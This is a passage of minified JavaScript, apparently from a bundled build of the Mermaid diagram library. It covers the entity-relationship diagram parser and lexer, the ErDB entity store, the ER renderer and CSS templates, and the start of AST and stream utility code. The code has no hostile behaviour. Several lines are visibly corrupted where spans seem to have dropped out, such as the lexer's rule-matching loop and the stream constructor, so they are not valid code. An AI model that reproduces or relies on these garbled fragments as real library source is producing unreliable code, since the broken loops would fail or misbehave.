,3],[9,5],[9,1],[9,3],[9,7],[9,9],[9,6],[9,8],[9,4],[9,6],[9,2],[9,2],[9,2],[9,1],[9,1],[9,1],[9,1],[9,1],[29,1],[29,1],[29,1],[29,1],[30,4],[16,1],[16,1],[16,3],[16,3],[31,3],[32,4],[38,1],[38,3],[45,1],[45,2],[39,1],[39,1],[39,1],[46,1],[46,1],[46,1],[46,1],[11,1],[11,1],[18,1],[18,2],[51,2],[51,3],[51,3],[51,4],[52,1],[53,1],[54,1],[54,3],[57,1],[55,1],[12,3],[61,1],[61,1],[61,1],[61,1],[61,1],[62,1],[62,1],[14,1],[14,1],[14,1]],performAction:o(function(ae,Q,de,ne,Te,q,Ve){var pe=q.length-1;switch(Te){case 1:break;case 2:this.$=[];break;case 3:q[pe-1].push(q[pe]),this.$=q[pe-1];break;case 4:case 5:this.$=q[pe];break;case 6:case 7:this.$=[];break;case 8:ne.addEntity(q[pe-4]),ne.addEntity(q[pe-2]),ne.addRelationship(q[pe-4],q[pe],q[pe-2],q[pe-3]);break;case 9:ne.addEntity(q[pe-8]),ne.addEntity(q[pe-4]),ne.addRelationship(q[pe-8],q[pe],q[pe-4],q[pe-5]),ne.setClass([q[pe-8]],q[pe-6]),ne.setClass([q[pe-4]],q[pe-2]);break;case 10:ne.addEntity(q[pe-6]),ne.addEntity(q[pe-2]),ne.addRelationship(q[pe-6],q[pe],q[pe-2],q[pe-3]),ne.setClass([q[pe-6]],q[pe-4]);break;case 11:ne.addEntity(q[pe-6]),ne.addEntity(q[pe-4]),ne.addRelationship(q[pe-6],q[pe],q[pe-4],q[pe-5]),ne.setClass([q[pe-4]],q[pe-2]);break;case 12:ne.addEntity(q[pe-3]),ne.addAttributes(q[pe-3],q[pe-1]);break;case 13:ne.addEntity(q[pe-5]),ne.addAttributes(q[pe-5],q[pe-1]),ne.setClass([q[pe-5]],q[pe-3]);break;case 14:ne.addEntity(q[pe-2]);break;case 15:ne.addEntity(q[pe-4]),ne.setClass([q[pe-4]],q[pe-2]);break;case 16:ne.addEntity(q[pe]);break;case 17:ne.addEntity(q[pe-2]),ne.setClass([q[pe-2]],q[pe]);break;case 18:ne.addEntity(q[pe-6],q[pe-4]),ne.addAttributes(q[pe-6],q[pe-1]);break;case 19:ne.addEntity(q[pe-8],q[pe-6]),ne.addAttributes(q[pe-8],q[pe-1]),ne.setClass([q[pe-8]],q[pe-3]);break;case 20:ne.addEntity(q[pe-5],q[pe-3]);break;case 21:ne.addEntity(q[pe-7],q[pe-5]),ne.setClass([q[pe-7]],q[pe-2]);break;case 22:ne.addEntity(q[pe-3],q[pe-1]);break;case 23:ne.addEntity(q[pe-5],q[pe-3]),ne.setClass([q[pe-5]],q[pe]);break;case 24:case 25:this.$=q[pe].trim(),ne.setAccTitle(this.$);break;case 26:case 27:this.$=q[pe].trim(),ne.setAccDescription(this.$);break;case 32:ne.setDirection("TB");break;case 33:ne.setDirection("BT");break;case 34:ne.setDirection("RL");break;case 35:ne.setDirection("LR");break;case 36:this.$=q[pe-3],ne.addClass(q[pe-2],q[pe-1]);break;case 37:case 38:case 56:case 64:this.$=[q[pe]];break;case 39:case 40:this.$=q[pe-2].concat([q[pe]]);break;case 41:this.$=q[pe-2],ne.setClass(q[pe-1],q[pe]);break;case 42:this.$=q[pe-3],ne.addCssStyles(q[pe-2],q[pe-1]);break;case 43:this.$=[q[pe]];break;case 44:q[pe-2].push(q[pe]),this.$=q[pe-2];break;case 46:this.$=q[pe-1]+q[pe];break;case 54:case 76:case 77:this.$=q[pe].replace(/"/g,"");break;case 55:case 78:this.$=q[pe];break;case 57:q[pe].push(q[pe-1]),this.$=q[pe];break;case 58:this.$={type:q[pe-1],name:q[pe]};break;case 59:this.$={type:q[pe-2],name:q[pe-1],keys:q[pe]};break;case 60:this.$={type:q[pe-2],name:q[pe-1],comment:q[pe]};break;case 61:this.$={type:q[pe-3],name:q[pe-2],keys:q[pe-1],comment:q[pe]};break;case 62:case 63:case 66:this.$=q[pe];break;case 65:q[pe-2].push(q[pe]),this.$=q[pe-2];break;case 67:this.$=q[pe].replace(/"/g,"");break;case 68:this.$={cardA:q[pe],relType:q[pe-1],cardB:q[pe-2]};break;case 69:this.$=ne.Cardinality.ZERO_OR_ONE;break;case 70:this.$=ne.Cardinality.ZERO_OR_MORE;break;case 71:this.$=ne.Cardinality.ONE_OR_MORE;break;case 72:this.$=ne.Cardinality.ONLY_ONE;break;case 73:this.$=ne.Cardinality.MD_PARENT;break;case 74:this.$=ne.Identification.NON_IDENTIFYING;break;case 75:this.$=ne.Identification.IDENTIFYING;break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:9,22:r,24:n,26:i,28:a,29:14,30:15,31:16,32:17,33:s,34:l,35:u,36:h,37:f,40:d,43:p,44:m,50:g},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:27,11:9,22:r,24:n,26:i,28:a,29:14,30:15,31:16,32:17,33:s,34:l,35:u,36:h,37:f,40:d,43:p,44:m,50:g},t(e,[2,5]),t(e,[2,6]),t(e,[2,16],{12:28,61:32,15:[1,29],17:[1,30],20:[1,31],63:y,64:v,65:x,66:b,67:T}),{23:[1,38]},{25:[1,39]},{27:[1,40]},t(e,[2,27]),t(e,[2,28]),t(e,[2,29]),t(e,[2,30]),t(e,[2,31]),t(S,[2,54]),t(S,[2,55]),t(e,[2,32]),t(e,[2,33]),t(e,[2,34]),t(e,[2,35]),{16:41,40:w,41:k},{16:44,40:w,41:k},{16:45,40:w,41:k},t(e,[2,4]),{11:46,40:d,50:g},{16:47,40:w,41:k},{18:48,19:[1,49],51:50,52:51,56:A},{11:53,40:d,50:g},{62:54,68:[1,55],69:[1,56]},t(C,[2,69]),t(C,[2,70]),t(C,[2,71]),t(C,[2,72]),t(C,[2,73]),t(e,[2,24]),t(e,[2,25]),t(e,[2,26]),{13:R,38:57,41:I,42:L,45:59,46:60,48:E,49:D},t(_,[2,37]),t(_,[2,38]),{16:65,40:w,41:k,42:L},{13:R,38:66,41:I,42:L,45:59,46:60,48:E,49:D},{13:[1,67],15:[1,68]},t(e,[2,17],{61:32,12:69,17:[1,70],42:L,63:y,64:v,65:x,66:b,67:T}),{19:[1,71]},t(e,[2,14]),{18:72,19:[2,56],51:50,52:51,56:A},{53:73,56:[1,74]},{56:[2,62]},{21:[1,75]},{61:76,63:y,64:v,65:x,66:b,67:T},t(O,[2,74]),t(O,[2,75]),{6:M,10:P,39:77,42:B,47:F},{40:[1,82],41:[1,83]},t(G,[2,43],{46:84,13:R,41:I,48:E,49:D}),t($,[2,45]),t($,[2,50]),t($,[2,51]),t($,[2,52]),t($,[2,53]),t(e,[2,41],{42:L}),{6:M,10:P,39:85,42:B,47:F},{14:86,40:U,50:j,70:te},{16:90,40:w,41:k},{11:91,40:d,50:g},{18:92,19:[1,93],51:50,52:51,56:A},t(e,[2,12]),{19:[2,57]},t(Y,[2,58],{54:94,55:95,57:96,59:oe,60:J}),t([19,56,59,60],[2,63]),t(e,[2,22],{15:[1,100],17:[1,99]}),t([40,50],[2,68]),t(e,[2,36]),{13:R,41:I,45:101,46:60,48:E,49:D},t(e,[2,47]),t(e,[2,48]),t(e,[2,49]),t(_,[2,39]),t(_,[2,40]),t($,[2,46]),t(e,[2,42]),t(e,[2,8]),t(e,[2,76]),t(e,[2,77]),t(e,[2,78]),{13:[1,102],42:L},{13:[1,104],15:[1,103]},{19:[1,105]},t(e,[2,15]),t(Y,[2,59],{55:106,58:[1,107],60:J}),t(Y,[2,60]),t(ue,[2,64]),t(Y,[2,67]),t(ue,[2,66]),{18:108,19:[1,109],51:50,52:51,56:A},{16:110,40:w,41:k},t(G,[2,44],{46:84,13:R,41:I,48:E,49:D}),{14:111,40:U,50:j,70:te},{16:112,40:w,41:k},{14:113,40:U,50:j,70:te},t(e,[2,13]),t(Y,[2,61]),{57:114,59:oe},{19:[1,115]},t(e,[2,20]),t(e,[2,23],{17:[1,116],42:L}),t(e,[2,11]),{13:[1,117],42:L},t(e,[2,10]),t(ue,[2,65]),t(e,[2,18]),{18:118,19:[1,119],51:50,52:51,56:A},{14:120,40:U,50:j,70:te},{19:[1,121]},t(e,[2,21]),t(e,[2,9]),t(e,[2,19])],defaultActions:{52:[2,62],72:[2,57]},parseError:o(function(ae,Q){if(Q.recoverable)this.trace(ae);else{var de=new Error(ae);throw de.hash=Q,de}},"parseError"),parse:o(function(ae){var Q=this,de=[0],ne=[],Te=[null],q=[],Ve=this.table,pe="",Be=0,Ye=0,He=0,Le=2,Ie=1,Ne=q.slice.call(arguments,1),Ce=Object.create(this.lexer),Fe={yy:{}};for(var fe in this.yy)Object.prototype.hasOwnProperty.call(this.yy,fe)&&(Fe.yy[fe]=this.yy[fe]);Ce.setInput(ae,Fe.yy),Fe.yy.lexer=Ce,Fe.yy.parser=this,typeof Ce.yylloc>"u"&&(Ce.yylloc={});var xe=Ce.yylloc;q.push(xe);var W=Ce.options&&Ce.options.ranges;typeof Fe.yy.parseError=="function"?this.parseError=Fe.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function he(et){de.length=de.length-2*et,Te.length=Te.length-et,q.length=q.length-et}o(he,"popStack");function z(){var et;return et=ne.pop()||Ce.lex()||Ie,typeof et!="number"&&(et instanceof Array&&(ne=et,et=ne.pop()),et=Q.symbols_[et]||et),et}o(z,"lex");for(var se,le,ke,ve,ye,Re,_e={},ze,Ke,xt,We;;){if(ke=de[de.length-1],this.defaultActions[ke]?ve=this.defaultActions[ke]:((se===null||typeof se>"u")&&(se=z()),ve=Ve[ke]&&Ve[ke][se]),typeof ve>"u"||!ve.length||!ve[0]){var Oe="";We=[];for(ze in Ve[ke])this.terminals_[ze]&&ze>Le&&We.push("'"+this.terminals_[ze]+"'");Ce.showPosition?Oe="Parse error on line "+(Be+1)+`: +`+Ce.showPosition()+` +Expecting `+We.join(", ")+", got '"+(this.terminals_[se]||se)+"'":Oe="Parse error on line "+(Be+1)+": Unexpected "+(se==Ie?"end of input":"'"+(this.terminals_[se]||se)+"'"),this.parseError(Oe,{text:Ce.match,token:this.terminals_[se]||se,line:Ce.yylineno,loc:xe,expected:We})}if(ve[0]instanceof Array&&ve.length>1)throw new Error("Parse Error: multiple actions possible at state: "+ke+", token: "+se);switch(ve[0]){case 1:de.push(se),Te.push(Ce.yytext),q.push(Ce.yylloc),de.push(ve[1]),se=null,le?(se=le,le=null):(Ye=Ce.yyleng,pe=Ce.yytext,Be=Ce.yylineno,xe=Ce.yylloc,He>0&&He--);break;case 2:if(Ke=this.productions_[ve[1]][1],_e.$=Te[Te.length-Ke],_e._$={first_line:q[q.length-(Ke||1)].first_line,last_line:q[q.length-1].last_line,first_column:q[q.length-(Ke||1)].first_column,last_column:q[q.length-1].last_column},W&&(_e._$.range=[q[q.length-(Ke||1)].range[0],q[q.length-1].range[1]]),Re=this.performAction.apply(_e,[pe,Ye,Be,Fe.yy,ve[1],Te,q].concat(Ne)),typeof Re<"u")return Re;Ke&&(de=de.slice(0,-1*Ke*2),Te=Te.slice(0,-1*Ke),q=q.slice(0,-1*Ke)),de.push(this.productions_[ve[1]][0]),Te.push(_e.$),q.push(_e._$),xt=Ve[de[de.length-2]][de[de.length-1]],de.push(xt);break;case 3:return!0}}return!0},"parse")},ee=(function(){var K={EOF:1,parseError:o(function(Q,de){if(this.yy.parser)this.yy.parser.parseError(Q,de);else throw new Error(Q)},"parseError"),setInput:o(function(ae,Q){return this.yy=Q||this.yy||{},this._input=ae,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var ae=this._input[0];this.yytext+=ae,this.yyleng++,this.offset++,this.match+=ae,this.matched+=ae;var Q=ae.match(/(?:\r\n?|\n).*/g);return Q?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),ae},"input"),unput:o(function(ae){var Q=ae.length,de=ae.split(/(?:\r\n?|\n)/g);this._input=ae+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Q),this.offset-=Q;var ne=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),de.length-1&&(this.yylineno-=de.length-1);var Te=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:de?(de.length===ne.length?this.yylloc.first_column:0)+ne[ne.length-de.length].length-de[0].length:this.yylloc.first_column-Q},this.options.ranges&&(this.yylloc.range=[Te[0],Te[0]+this.yyleng-Q]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(ae){this.unput(this.match.slice(ae))},"less"),pastInput:o(function(){var ae=this.matched.substr(0,this.matched.length-this.match.length);return(ae.length>20?"...":"")+ae.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var ae=this.match;return ae.length<20&&(ae+=this._input.substr(0,20-ae.length)),(ae.substr(0,20)+(ae.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var ae=this.pastInput(),Q=new Array(ae.length+1).join("-");return ae+this.upcomingInput()+` +`+Q+"^"},"showPosition"),test_match:o(function(ae,Q){var de,ne,Te;if(this.options.backtrack_lexer&&(Te={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Te.yylloc.range=this.yylloc.range.slice(0))),ne=ae[0].match(/(?:\r\n?|\n).*/g),ne&&(this.yylineno+=ne.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ne?ne[ne.length-1].length-ne[ne.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+ae[0].length},this.yytext+=ae[0],this.match+=ae[0],this.matches=ae,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(ae[0].length),this.matched+=ae[0],de=this.performAction.call(this,this.yy,this,Q,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),de)return de;if(this._backtrack){for(var q in Te)this[q]=Te[q];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var ae,Q,de,ne;this._more||(this.yytext="",this.match="");for(var Te=this._currentRules(),q=0;qQ[0].length)){if(Q=de,ne=q,this.options.backtrack_lexer){if(ae=this.test_match(de,Te[q]),ae!==!1)return ae;if(this._backtrack){Q=!1;continue}else return!1}else if(!this.options.flex)break}return Q?(ae=this.test_match(Q,Te[ne]),ae!==!1?ae:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Q=this.next();return Q||this.lex()},"lex"),begin:o(function(Q){this.conditionStack.push(Q)},"begin"),popState:o(function(){var Q=this.conditionStack.length-1;return Q>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Q){return Q=this.conditionStack.length-1-Math.abs(Q||0),Q>=0?this.conditionStack[Q]:"INITIAL"},"topState"),pushState:o(function(Q){this.begin(Q)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(Q,de,ne,Te){var q=Te;switch(ne){case 0:return this.begin("acc_title"),24;break;case 1:return this.popState(),"acc_title_value";break;case 2:return this.begin("acc_descr"),26;break;case 3:return this.popState(),"acc_descr_value";break;case 4:this.begin("acc_descr_multiline");break;case 5:this.popState();break;case 6:return"acc_descr_multiline_value";case 7:return 33;case 8:return 34;case 9:return 35;case 10:return 36;case 11:return 10;case 12:break;case 13:return 8;case 14:return 50;case 15:return 70;case 16:return 4;case 17:return this.begin("block"),17;break;case 18:return 49;case 19:return 49;case 20:return 42;case 21:return 15;case 22:return 13;case 23:break;case 24:return 59;case 25:return 56;case 26:return 56;case 27:return 60;case 28:break;case 29:return this.popState(),19;break;case 30:return de.yytext[0];case 31:return 20;case 32:return 21;case 33:return this.begin("style"),44;break;case 34:return this.popState(),10;break;case 35:break;case 36:return 13;case 37:return 42;case 38:return 49;case 39:return this.begin("style"),37;break;case 40:return 43;case 41:return 63;case 42:return 65;case 43:return 65;case 44:return 65;case 45:return 63;case 46:return 63;case 47:return 64;case 48:return 64;case 49:return 64;case 50:return 64;case 51:return 64;case 52:return 65;case 53:return 64;case 54:return 65;case 55:return 66;case 56:return 66;case 57:return 66;case 58:return 66;case 59:return 63;case 60:return 64;case 61:return 65;case 62:return 67;case 63:return 68;case 64:return 69;case 65:return 69;case 66:return 68;case 67:return 68;case 68:return 68;case 69:return 41;case 70:return 47;case 71:return 40;case 72:return 48;case 73:return de.yytext[0];case 74:return 6}},"anonymous"),rules:[/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:[\s]+)/i,/^(?:"[^"%\r\n\v\b\\]+")/i,/^(?:"[^"]*")/i,/^(?:erDiagram\b)/i,/^(?:\{)/i,/^(?:#)/i,/^(?:#)/i,/^(?:,)/i,/^(?::::)/i,/^(?::)/i,/^(?:\s+)/i,/^(?:\b((?:PK)|(?:FK)|(?:UK))\b)/i,/^(?:([^\s]*)[~].*[~]([^\s]*))/i,/^(?:([\*A-Za-z_\u00C0-\uFFFF][A-Za-z0-9\-\_\[\]\(\)\u00C0-\uFFFF\*]*))/i,/^(?:"[^"]*")/i,/^(?:[\n]+)/i,/^(?:\})/i,/^(?:.)/i,/^(?:\[)/i,/^(?:\])/i,/^(?:style\b)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?::)/i,/^(?:,)/i,/^(?:#)/i,/^(?:classDef\b)/i,/^(?:class\b)/i,/^(?:one or zero\b)/i,/^(?:one or more\b)/i,/^(?:one or many\b)/i,/^(?:1\+)/i,/^(?:\|o\b)/i,/^(?:zero or one\b)/i,/^(?:zero or more\b)/i,/^(?:zero or many\b)/i,/^(?:0\+)/i,/^(?:\}o\b)/i,/^(?:many\(0\))/i,/^(?:many\(1\))/i,/^(?:many\b)/i,/^(?:\}\|)/i,/^(?:one\b)/i,/^(?:only one\b)/i,/^(?:1\b)/i,/^(?:\|\|)/i,/^(?:o\|)/i,/^(?:o\{)/i,/^(?:\|\{)/i,/^(?:\s*u\b)/i,/^(?:\.\.)/i,/^(?:--)/i,/^(?:to\b)/i,/^(?:optionally to\b)/i,/^(?:\.-)/i,/^(?:-\.)/i,/^(?:([^\x00-\x7F]|\w|-|\*)+)/i,/^(?:;)/i,/^(?:([^\x00-\x7F]|\w|-|\*)+)/i,/^(?:[0-9])/i,/^(?:.)/i,/^(?:$)/i],conditions:{style:{rules:[34,35,36,37,38,69,70],inclusive:!1},acc_descr_multiline:{rules:[5,6],inclusive:!1},acc_descr:{rules:[3],inclusive:!1},acc_title:{rules:[1],inclusive:!1},block:{rules:[23,24,25,26,27,28,29,30],inclusive:!1},INITIAL:{rules:[0,2,4,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,31,32,33,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,71,72,73,74],inclusive:!0}}};return K})();re.lexer=ee;function Z(){this.yy={}}return o(Z,"Parser"),Z.prototype=re,re.Parser=Z,new Z})();UI.parser=UI;Tfe=UI});var _E,kfe=N(()=>{"use strict";pt();Xt();ci();tr();_E=class{constructor(){this.entities=new Map;this.relationships=[];this.classes=new Map;this.direction="TB";this.Cardinality={ZERO_OR_ONE:"ZERO_OR_ONE",ZERO_OR_MORE:"ZERO_OR_MORE",ONE_OR_MORE:"ONE_OR_MORE",ONLY_ONE:"ONLY_ONE",MD_PARENT:"MD_PARENT"};this.Identification={NON_IDENTIFYING:"NON_IDENTIFYING",IDENTIFYING:"IDENTIFYING"};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().er,"getConfig");this.clear(),this.addEntity=this.addEntity.bind(this),this.addAttributes=this.addAttributes.bind(this),this.addRelationship=this.addRelationship.bind(this),this.setDirection=this.setDirection.bind(this),this.addCssStyles=this.addCssStyles.bind(this),this.addClass=this.addClass.bind(this),this.setClass=this.setClass.bind(this),this.setAccTitle=this.setAccTitle.bind(this),this.setAccDescription=this.setAccDescription.bind(this)}static{o(this,"ErDB")}addEntity(e,r=""){return this.entities.has(e)?!this.entities.get(e)?.alias&&r&&(this.entities.get(e).alias=r,X.info(`Add alias '${r}' to entity '${e}'`)):(this.entities.set(e,{id:`entity-${e}-${this.entities.size}`,label:e,attributes:[],alias:r,shape:"erBox",look:ge().look??"default",cssClasses:"default",cssStyles:[]}),X.info("Added new entity :",e)),this.entities.get(e)}getEntity(e){return this.entities.get(e)}getEntities(){return this.entities}getClasses(){return this.classes}addAttributes(e,r){let n=this.addEntity(e),i;for(i=r.length-1;i>=0;i--)r[i].keys||(r[i].keys=[]),r[i].comment||(r[i].comment=""),n.attributes.push(r[i]),X.debug("Added attribute ",r[i].name)}addRelationship(e,r,n,i){let a=this.entities.get(e),s=this.entities.get(n);if(!a||!s)return;let l={entityA:a.id,roleA:r,entityB:s.id,relSpec:i};this.relationships.push(l),X.debug("Added new relationship :",l)}getRelationships(){return this.relationships}getDirection(){return this.direction}setDirection(e){this.direction=e}getCompiledStyles(e){let r=[];for(let n of e){let i=this.classes.get(n);i?.styles&&(r=[...r,...i.styles??[]].map(a=>a.trim())),i?.textStyles&&(r=[...r,...i.textStyles??[]].map(a=>a.trim()))}return r}addCssStyles(e,r){for(let n of e){let i=this.entities.get(n);if(!r||!i)return;for(let a of r)i.cssStyles.push(a)}}addClass(e,r){e.forEach(n=>{let i=this.classes.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.classes.set(n,i)),r&&r.forEach(function(a){if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)})})}setClass(e,r){for(let n of e){let i=this.entities.get(n);if(i)for(let a of r)i.cssClasses+=" "+a}}clear(){this.entities=new Map,this.classes=new Map,this.relationships=[],Sr()}getData(){let e=[],r=[],n=ge();for(let a of this.entities.keys()){let s=this.entities.get(a);s&&(s.cssCompiledStyles=this.getCompiledStyles(s.cssClasses.split(" ")),e.push(s))}let i=0;for(let a of this.relationships){let s={id:xc(a.entityA,a.entityB,{prefix:"id",counter:i++}),type:"normal",curve:"basis",start:a.entityA,end:a.entityB,label:a.roleA,labelpos:"c",thickness:"normal",classes:"relationshipLine",arrowTypeStart:a.relSpec.cardB.toLowerCase(),arrowTypeEnd:a.relSpec.cardA.toLowerCase(),pattern:a.relSpec.relType=="IDENTIFYING"?"solid":"dashed",look:n.look};r.push(s)}return{nodes:e,edges:r,other:{},config:n,direction:"TB"}}}});var HI={};dr(HI,{draw:()=>lWe});var lWe,Efe=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();yr();lWe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing er diagram (unified)",e);let{securityLevel:i,er:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.config.flowchart.nodeSpacing=a?.nodeSpacing||140,l.config.flowchart.rankSpacing=a?.rankSpacing||80,l.direction=n.db.getDirection(),l.markers=["only_one","zero_or_one","one_or_more","zero_or_more"],l.diagramId=e,await Qo(l,u),l.layoutAlgorithm==="elk"&&u.select(".edges").lower();let h=u.selectAll('[id*="-background"]');Array.from(h).length>0&&h.each(function(){let d=qe(this),m=d.attr("id").replace("-background",""),g=u.select(`#${CSS.escape(m)}`);if(!g.empty()){let y=g.attr("transform");d.attr("transform",y)}});let f=8;qt.insertTitle(u,"erDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,f,"erDiagram",a?.useMaxWidth??!0)},"draw")});var cWe,uWe,Sfe,Cfe=N(()=>{"use strict";eo();cWe=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),uWe=o(t=>` + .entityBox { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + } + + .relationshipLabelBox { + fill: ${t.tertiaryColor}; + opacity: 0.7; + background-color: ${t.tertiaryColor}; + rect { + opacity: 0.5; + } + } + + .labelBkg { + background-color: ${cWe(t.tertiaryColor,.5)}; + } + + .edgeLabel .label { + fill: ${t.nodeBorder}; + font-size: 14px; + } + + .label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + + .edge-pattern-dashed { + stroke-dasharray: 8,8; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon + { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + .relationshipLine { + stroke: ${t.lineColor}; + stroke-width: 1; + fill: none; + } + + .marker { + fill: none !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; + } +`,"getStyles"),Sfe=uWe});var Afe={};dr(Afe,{diagram:()=>hWe});var hWe,_fe=N(()=>{"use strict";wfe();kfe();Efe();Cfe();hWe={parser:Tfe,get db(){return new _E},renderer:HI,styles:Sfe}});function li(t){return typeof t=="object"&&t!==null&&typeof t.$type=="string"}function Ta(t){return typeof t=="object"&&t!==null&&typeof t.$refText=="string"}function qI(t){return typeof t=="object"&&t!==null&&typeof t.name=="string"&&typeof t.type=="string"&&typeof t.path=="string"}function _p(t){return typeof t=="object"&&t!==null&&li(t.container)&&Ta(t.reference)&&typeof t.message=="string"}function Ol(t){return typeof t=="object"&&t!==null&&Array.isArray(t.content)}function If(t){return typeof t=="object"&&t!==null&&typeof t.tokenType=="object"}function Lx(t){return Ol(t)&&typeof t.fullText=="string"}var Ap,Pl=N(()=>{"use strict";o(li,"isAstNode");o(Ta,"isReference");o(qI,"isAstNodeDescription");o(_p,"isLinkingError");Ap=class{static{o(this,"AbstractAstReflection")}constructor(){this.subtypes={},this.allSubtypes={}}isInstance(e,r){return li(e)&&this.isSubtype(e.$type,r)}isSubtype(e,r){if(e===r)return!0;let n=this.subtypes[e];n||(n=this.subtypes[e]={});let i=n[r];if(i!==void 0)return i;{let a=this.computeIsSubtype(e,r);return n[r]=a,a}}getAllSubTypes(e){let r=this.allSubtypes[e];if(r)return r;{let n=this.getAllTypes(),i=[];for(let a of n)this.isSubtype(a,e)&&i.push(a);return this.allSubtypes[e]=i,i}}};o(Ol,"isCompositeCstNode");o(If,"isLeafCstNode");o(Lx,"isRootCstNode")});function mWe(t){return typeof t=="string"?t:typeof t>"u"?"undefined":typeof t.toString=="function"?t.toString():Object.prototype.toString.call(t)}function DE(t){return!!t&&typeof t[Symbol.iterator]=="function"}function an(...t){if(t.length===1){let e=t[0];if(e instanceof po)return e;if(DE(e))return new po(()=>e[Symbol.iterator](),r=>r.next());if(typeof e.length=="number")return new po(()=>({index:0}),r=>r.index1?new po(()=>({collIndex:0,arrIndex:0}),e=>{do{if(e.iterator){let r=e.iterator.next();if(!r.done)return r;e.iterator=void 0}if(e.array){if(e.arrIndex{"use strict";po=class t{static{o(this,"StreamImpl")}constructor(e,r){this.startFn=e,this.nextFn=r}iterator(){let e={state:this.startFn(),next:o(()=>this.nextFn(e.state),"next"),[Symbol.iterator]:()=>e};return e}[Symbol.iterator](){return this.iterator()}isEmpty(){return!!this.iterator().next().done}count(){let e=this.iterator(),r=0,n=e.next();for(;!n.done;)r++,n=e.next();return r}toArray(){let e=[],r=this.iterator(),n;do n=r.next(),n.value!==void 0&&e.push(n.value);while(!n.done);return e}toSet(){return new Set(this)}toMap(e,r){let n=this.map(i=>[e?e(i):i,r?r(i):i]);return new Map(n)}toString(){return this.join()}concat(e){return new t(()=>({first:this.startFn(),firstDone:!1,iterator:e[Symbol.iterator]()}),r=>{let n;if(!r.firstDone){do if(n=this.nextFn(r.first),!n.done)return n;while(!n.done);r.firstDone=!0}do if(n=r.iterator.next(),!n.done)return n;while(!n.done);return za})}join(e=","){let r=this.iterator(),n="",i,a=!1;do i=r.next(),i.done||(a&&(n+=e),n+=mWe(i.value)),a=!0;while(!i.done);return n}indexOf(e,r=0){let 